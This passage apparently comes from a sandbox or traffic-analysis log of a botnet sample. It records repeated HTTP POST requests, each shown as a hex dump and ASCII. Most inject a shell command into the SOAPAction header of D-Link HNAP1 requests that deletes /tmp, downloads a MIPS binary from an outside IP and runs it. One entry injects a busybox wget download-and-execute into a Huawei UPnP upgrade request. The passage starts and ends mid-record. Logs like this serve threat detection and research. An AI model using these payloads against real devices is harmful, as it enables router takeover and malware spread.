6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping 